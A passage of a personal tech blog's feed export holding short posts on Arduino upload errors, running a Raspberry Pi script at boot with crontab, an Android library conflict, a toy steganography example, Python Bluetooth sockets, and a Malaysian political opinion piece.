/&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-3Qbjf4A3RmM/UhrieeD9o9I/AAAAAAAAAqg/SJlEEJY-Poo/s1600/1003910_10151941493189017_815152933_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;315&quot; src=&quot;http://1.bp.blogspot.com/-3Qbjf4A3RmM/UhrieeD9o9I/AAAAAAAAAqg/SJlEEJY-Poo/s320/1003910_10151941493189017_815152933_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-9b4B8RpNNJI/UhrifN-chAI/AAAAAAAAAq4/YAiIHemZD1E/s1600/1150338_10151941493154017_1878171077_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-9b4B8RpNNJI/UhrifN-chAI/AAAAAAAAAq4/YAiIHemZD1E/s320/1150338_10151941493154017_1878171077_n.jpg&quot; width=&quot;278&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Hq9k4fM8PjI/UhrifGdjDvI/AAAAAAAAAq0/O-BXJ_p9oX0/s1600/11181_10151941493294017_1966601286_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;272&quot; src=&quot;http://1.bp.blogspot.com/-Hq9k4fM8PjI/UhrifGdjDvI/AAAAAAAAAq0/O-BXJ_p9oX0/s320/11181_10151941493294017_1966601286_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-3psKEJBsQu0/UhrigqWV3OI/AAAAAAAAAro/wI4z0F_ZV1w/s1600/526457_10151941493714017_473468089_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;257&quot; src=&quot;http://1.bp.blogspot.com/-3psKEJBsQu0/UhrigqWV3OI/AAAAAAAAAro/wI4z0F_ZV1w/s320/526457_10151941493714017_473468089_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-plBISAiHAwE/UhrihEhgzYI/AAAAAAAAAr4/XKGl6KBfqYY/s1600/539685_10151941493579017_1273670214_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;270&quot; src=&quot;http://2.bp.blogspot.com/-plBISAiHAwE/UhrihEhgzYI/AAAAAAAAAr4/XKGl6KBfqYY/s320/539685_10151941493579017_1273670214_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-HlEfRWQ2V4c/UhrihYd_xII/AAAAAAAAAr8/ZvVPfeMKzlI/s1600/564756_10151941493524017_322063343_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;http://3.bp.blogspot.com/-HlEfRWQ2V4c/UhrihYd_xII/AAAAAAAAAr8/ZvVPfeMKzlI/s320/564756_10151941493524017_322063343_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-wJi6HBiicCw/Uhrih85Mn4I/AAAAAAAAAsc/j9xqYnwig_k/s1600/946005_10151941493604017_1927575728_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;229&quot; src=&quot;http://1.bp.blogspot.com/-wJi6HBiicCw/Uhrih85Mn4I/AAAAAAAAAsc/j9xqYnwig_k/s320/946005_10151941493604017_1927575728_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-7sj_92XAyMc/UhriiO5nToI/AAAAAAAAAsM/G_nMDJZbLSc/s1600/969276_10151941493319017_130094627_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-7sj_92XAyMc/UhriiO5nToI/AAAAAAAAAsM/G_nMDJZbLSc/s320/969276_10151941493319017_130094627_n.jpg&quot; width=&quot;297&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-9SSBNo_aZT0/UhriiaFK83I/AAAAAAAAAsY/I8EwbtzW8Kw/s1600/970513_10151941493384017_636300293_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;318&quot; src=&quot;http://3.bp.blogspot.com/-9SSBNo_aZT0/UhriiaFK83I/AAAAAAAAAsY/I8EwbtzW8Kw/s320/970513_10151941493384017_636300293_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-VgHiX4xe3ag/UhrijBev0RI/AAAAAAAAAsk/t6z9-co1t9U/s1600/998913_10151941493434017_1415689393_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-VgHiX4xe3ag/UhrijBev0RI/AAAAAAAAAsk/t6z9-co1t9U/s320/998913_10151941493434017_1415689393_n.jpg&quot; width=&quot;275&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-2dtpQBCRvcY/UhrijvXwdtI/AAAAAAAAAs4/0_jpdxSa5xo/s1600/999427_10151941493404017_1028259640_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;284&quot; src=&quot;http://2.bp.blogspot.com/-2dtpQBCRvcY/UhrijvXwdtI/AAAAAAAAAs4/0_jpdxSa5xo/s320/999427_10151941493404017_1028259640_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-S-qNC1PHqqg/UhrieVD8tDI/AAAAAAAAAqc/du0vDliftmA/s1600/1003904_10151941497089017_32129574_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;236&quot; src=&quot;http://1.bp.blogspot.com/-S-qNC1PHqqg/UhrieVD8tDI/AAAAAAAAAqc/du0vDliftmA/s320/1003904_10151941497089017_32129574_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-pzKA80Ln3AM/UhrieSNaMlI/AAAAAAAAAqY/CknmqOTkHqU/s1600/1004686_10151941493674017_1670506711_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;231&quot; src=&quot;http://2.bp.blogspot.com/-pzKA80Ln3AM/UhrieSNaMlI/AAAAAAAAAqY/CknmqOTkHqU/s320/1004686_10151941493674017_1670506711_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-VzR8i2DWH9Y/Uhrie6GMV8I/AAAAAAAAAqw/dGfrWsiPADg/s1600/1014308_10151941493259017_1888680561_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-VzR8i2DWH9Y/Uhrie6GMV8I/AAAAAAAAAqw/dGfrWsiPADg/s320/1014308_10151941493259017_1888680561_n.jpg&quot; width=&quot;291&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-cHUeJetwI3M/Uhrif1qJTiI/AAAAAAAAArQ/x5ZlT4RZy6w/s1600/1175519_10151941493339017_1961095764_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;254&quot; src=&quot;http://1.bp.blogspot.com/-cHUeJetwI3M/Uhrif1qJTiI/AAAAAAAAArQ/x5ZlT4RZy6w/s320/1175519_10151941493339017_1961095764_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-q6Dvshk5c8g/Uhrif4QMW4I/AAAAAAAAArM/E_6jL5D20w0/s1600/1176363_10151941493619017_1995261799_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;259&quot; src=&quot;http://2.bp.blogspot.com/-q6Dvshk5c8g/Uhrif4QMW4I/AAAAAAAAArM/E_6jL5D20w0/s320/1176363_10151941493619017_1995261799_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-boLs25UuAh4/Uhrif65j6fI/AAAAAAAAArI/sRJffMGAnRU/s1600/1184884_10151941493554017_1499886668_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;292&quot; src=&quot;http://2.bp.blogspot.com/-boLs25UuAh4/Uhrif65j6fI/AAAAAAAAArI/sRJffMGAnRU/s320/1184884_10151941493554017_1499886668_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-SYRbMOpxw2U/Uhrigvkje2I/AAAAAAAAArk/EXdUdWBJMWA/s1600/1185197_10151941493219017_1185972963_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;220&quot; src=&quot;http://4.bp.blogspot.com/-SYRbMOpxw2U/Uhrigvkje2I/AAAAAAAAArk/EXdUdWBJMWA/s320/1185197_10151941493219017_1185972963_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-ziNf0NgqdPc/Uhrigk3ap8I/AAAAAAAAArg/bFEfYlzyVkY/s1600/1185532_10151941493249017_2076206884_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;244&quot; src=&quot;http://1.bp.blogspot.com/-ziNf0NgqdPc/Uhrigk3ap8I/AAAAAAAAArg/bFEfYlzyVkY/s320/1185532_10151941493249017_2076206884_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Arduino avrdude stk500_getsync() not in sync resp=0x30 error</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/08/28/Arduino-avrdude-stk500_getsync()-not-in-sync-resp=0x30-error/"/>
   <updated>2014-08-28T20:52:51+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/08/28/Arduino-avrdude-stk500_getsync()-not-in-sync-resp=0x30-error</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;Make sure you have Arduino driver installed correctly (serial com is working)&lt;br /&gt;&lt;br /&gt;2. Make sure serial port is correct&lt;br /&gt;&lt;br /&gt;3. When uploading the sketch, make sure there is no connection at Tx (pin0) and Rx (pin1)&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Raspberry Pi - run a script from boot up using Crontab</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/08/20/Raspberry-Pi-run-a-script-from-boot-up-using-Crontab/"/>
   <updated>2014-08-20T19:14:18+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/08/20/Raspberry-Pi-run-a-script-from-boot-up-using-Crontab</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;First is add a SHEBANG line on top of your python script&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-size: large;&quot;&gt;#!/usr/bin/env python&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. Make your script executable with&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-size: large;&quot;&gt;chmod a+x&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Open crontab with&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-size: large;&quot;&gt;sudo crontab -e&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Add the following line. Make sure to include the full path to the script (MyScript.py is the name of your script)&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-size: large;&quot;&gt;@reboot python /home/pi/Desktop/MyScript.py &amp;amp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. To save these changes click “CTRL-X”, then “Y” and finally “Return”. You should now be back at the command prompt.&lt;br /&gt;&lt;br /&gt;To start testing you can now reboot&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Error from using Android libraries</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/03/05/Error-from-using-Android-libraries/"/>
   <updated>2014-03-05T09:15:11+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/03/05/Error-from-using-Android-libraries</id>
   <content type="html">&lt;p&gt;The logcat states something in the line&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; border: 0px; margin: 0px 0px 7px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; line-height: 1.3;&quot;&gt;Jar Mismatch Found 2 versions of android-support-v4.jar in the dependency list&lt;/span&gt;&amp;lt;/div&amp;gt;It means we have two jar files, one from the project and the other one from the included library. &lt;br /&gt;Delete the one in the current project folder (/libs). As long as the library stays included, this should be fine.&lt;br /&gt;&lt;br /&gt;credit : &lt;a href=&quot;http://stackoverflow.com/questions/12045568/jar-mismatch-found-2-versions-of-android-support-v4-jar-in-the-dependency-list&quot;&gt;StackOveflow &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>On KJ</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/01/16/On-KJ/"/>
   <updated>2014-01-16T19:44:52+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/01/16/On-KJ</id>
   <content type="html">&lt;p&gt;I told Aliffah that there are two ministers that I believe are capable of bringing our nation forward as our former PM Tun Dr Mahathir did. They are his son, Mukriz and this guy, KJ.&lt;br /&gt;&lt;br /&gt;Personally, I don’t like him, but among the crop of ministers that we have now, he is the one that is most capable of leading the country, perhaps, in the future. Here is why: excerpts of a BH interview.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Khairy: Some BN leaders ‘syok sendiri’ online &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Umno Youth chief Khairy Jamaluddin has lamented that BN’s social media strategy has been ineffective as some BN leaders had the tendency to be ‘syok sendiri’ (self-indulgent) in their online engagement. “I see many BN leaders - forgive me for saying this - even though they are active on social media, they only speak to their followers, not to outsiders or independents.&lt;br /&gt;&lt;br /&gt;“They think that their own sentiment is the national sentiment. That is wrong. “That proves that our social media strategy has been ineffective. (BN leaders) speak to their own people and ‘syok sendiri’ while the opposition try to reach out to the people in general,” Khairy was quoted as saying in a Berita Harian interview today.&lt;br /&gt;&lt;br /&gt;He also acknowledged that attacks against the families of politicians on social media were unavoidable. “As a politician, I advise my family to live moderately. When we are chosen as a politician, a minister or the likes, our families have to play their role. “If we want to live freely, then do not be a politician,” he was quoted as saying.&lt;br /&gt;&lt;br /&gt;Khairy said in the interview that the rakyat’s anger over the price hikes is real and urged leaders not to make statements that will hurt the rakyat’s feelings. He added that the government should heed former prime minister Dr Mahathir Mohamad’s (right) advice that it should cut more costs instead of increasing prices.&lt;br /&gt;When asked whether the government’s current cost-cutting measures were enough, he said more was to come and volunteered to have his own pay docked.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Steganography</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/01/16/Steganography/"/>
   <updated>2014-01-16T18:16:30+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/01/16/Steganography</id>
   <content type="html">&lt;p&gt;I’m currently working on my final year project (I just did my first part’s presentation this morning, which was terrible, in a way) which involves a technique called “Steganography” or Stego, for short.&lt;br /&gt;&lt;br /&gt;The purpose of Stego is similar to Cryptology, in a way that it is used to protect the valuable data from unauthorized access. However, there is a huge difference between the two. Encryption techniques apply specific algorithms to the valuable data (plaintext) to produce encrypted data (ciphertext).&lt;br /&gt;&lt;br /&gt;On contrary, Stego focuses on hiding the valuable data (hidden message) within another non valuable data (cover). It’s about “hiding the data in a plain sight”. In most usage, Stego technique is designed so that the non authorized user does not even realize the hidden message even exists at the first place.&lt;br /&gt;&lt;br /&gt;There are various type of medium use for cover. Most notably is image. But lets start with some text files example first.&lt;br /&gt;&lt;br /&gt;Lets say, I want to save my password for 2 different websites that I have registered to. I create a text file, naming it &lt;b&gt;&lt;i&gt;visited_countries.txt &lt;/i&gt;&lt;/b&gt;suggesting to everyone that this file lists all the countries that I have visited. In the files, I have these following content:&lt;br /&gt;        &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;indonessia japan korea usa france nigeria bangladesh india china&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; The passwords that I stored in the file were &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;ijkufnbic&lt;/span&gt; and &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;naosrianh&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Anyone else who opens the file realizes that the file is merely listing the countries and is not of important. But because the fact that I know there is a hidden message[1] and also the algorithm used[2], I am able to get my passwords from this list.&lt;br /&gt;&lt;br /&gt;Hidden message, in a plain sight.&lt;br /&gt;&lt;br /&gt;p/s: the first and the second characters of each country.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Arduino</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/07/25/Arduino/"/>
   <updated>2013-07-25T20:05:53+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/07/25/Arduino</id>
   <content type="html">&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;My first encounter with Arduino was last year, when me and Ifa were working on our Embedded System&apos;s assignment. Our task was to design a Bin-to-Dec converter, with 3 7-segment displays. I didn&apos;t keep much records on the works done, but I did take this video after we unbox-ed the Arduino.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;//www.youtube.com/embed/o-YLKHg2Qm8&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;  &lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;Uno!&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Johara - These guys never bored me!</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/07/11/Johara-These-guys-never-bored-me!/"/>
   <updated>2013-07-11T18:01:57+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/07/11/Johara-These-guys-never-bored-me!</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-YqxdIgrWSJU/UTtuhaoFt0I/AAAAAAAAbWc/VyCE1NqFdeo/s640/Johara-Pagi-Era.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;194&quot; src=&quot;http://1.bp.blogspot.com/-YqxdIgrWSJU/UTtuhaoFt0I/AAAAAAAAbWc/VyCE1NqFdeo/s320/Johara-Pagi-Era.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;It started a few months ago when I was doing my intern-ship. I am (no offence to Alex) always being picked to follow my boss around for meetings and other out-of-office works, which normally required me to be there at the office very early in the morning. He basically introduced me to the Johara Pagi Era session, saying he listens to them every day. It’s aired around 715 AM in the morning on ERA.fm.&lt;br /&gt;&lt;br /&gt;A good laugh to start a day.&lt;br /&gt;&lt;br /&gt;They actually have a page archiving all their shows. Just perfect :D&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://podcast.ampradio.net/era/&quot;&gt;Johara Pagi Era Session on ERA.fm&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python 3.3 and Bluetooth native socket</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/07/09/Python-3.3-and-Bluetooth-native-socket/"/>
   <updated>2013-07-09T05:11:43+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/07/09/Python-3.3-and-Bluetooth-native-socket</id>
   <content type="html">&lt;p&gt;I have posted &lt;a href=&quot;http://nextslides.blogspot.com/2013/07/python-26-and-pybluez.html&quot;&gt;earlier&lt;/a&gt; on how to run a simple serial server using Python 2.6 and PyBluez. Python 3.3 has natively available sockets class written for Bluetooth communication, eliminating the needs for PyBluez. I have not tested it yet myself, but if I’m not mistaken the native Bluetooth socket is only supported on unix based OS. So, if you’re on Windows, my guess is best to stay with Python 2.6 and PyBluez.&lt;br /&gt;&lt;br /&gt;A sample script for the server is as below:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;””“&lt;br /&gt;A simple Python script to receive messages from a client over&lt;br /&gt;Bluetooth using Python sockets (with Python 3.3 or above).&lt;br /&gt;””“&lt;br /&gt;&lt;br /&gt;import socket&lt;br /&gt;&lt;br /&gt;hostMACAddress = ‘00:1f:e1:dd:08:3d’ &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#The MAC address of a Bluetooth adapter on the server. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#The server might have multiple Bluetooth adapters.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;port = 3 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#3 is an arbitrary choice. It should match the port used by the client.&lt;br /&gt;backlog = 1&lt;br /&gt;size = 1024 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)&lt;br /&gt;s.bind((hostMACAddress,port))&lt;br /&gt;s.listen(backlog)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;try:&lt;br /&gt;       client, address = s.accept()&lt;br /&gt;       while 1:&lt;br /&gt;           data = client.recv(size)&lt;br /&gt;           if data:&lt;br /&gt;                   print(data)&lt;br /&gt;                   client.send(data)&lt;br /&gt;except:   &lt;br /&gt;       print(“Closing socket”)   &lt;br /&gt;       client.close()&lt;br /&gt;       s.close()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The scripts was not written by me. The original page &lt;a href=&quot;http://kevindoran1.blogspot.co.nz/2013/04/bluetooth-programming-with-python-3.html&quot;&gt;here&lt;/a&gt; discussed the difference between Python 2.6+PyBluez and native Bluetooth socket in Python 3.3.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://bitsofpy.blogspot.com.ar/2012/09/bluetooth-with-python-33.html&quot;&gt;Here’s&lt;/a&gt; an example of how to use the native Bluetooth socket to send a few command bytes to control the speed and direction of a Bluetooth controlled car.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python 2.6 and PyBluez</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/07/08/Python-2.6-and-PyBluez/"/>
   <updated>2013-07-08T22:04:28+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/07/08/Python-2.6-and-PyBluez</id>
   <content type="html">&lt;p&gt;My research on Python ended with Python 2.6 and PyBluez. If you haven’t noticed, there are newer version of Python (currently on version 3.3) but the later versions are not compatible with PyBluez. My so-far googling skills got me to the conclusion that this is the better solution, albeit temporarily. Python does not have Bluetooth native library before version 3.0 (if I’m not mistaken) and while they have added them now, the documentations were not really thorough. PyBluez, on the contrary, is only supported for Python until version 2.6. Since I have to do some demonstration with Python and Bluetooth, this is the easier solution. I will get back to the Python native Bluetooth library later on.&lt;br /&gt;&lt;br /&gt;This post will help you to do 2 things, assuming you’re on Windows:&lt;br /&gt;&lt;br /&gt;1. Installing Python 2.6 and PyBluez&lt;br /&gt;2. Run a simple Bluetooth serial server script&lt;br /&gt;&lt;br /&gt;Installing Python 2.6 and PyBluez&lt;br /&gt;1. Get them both here : &lt;a href=&quot;http://www.python.org/ftp/python/2.6.6/python-2.6.6.msi&quot;&gt;Python 2.6&lt;/a&gt; &lt;a 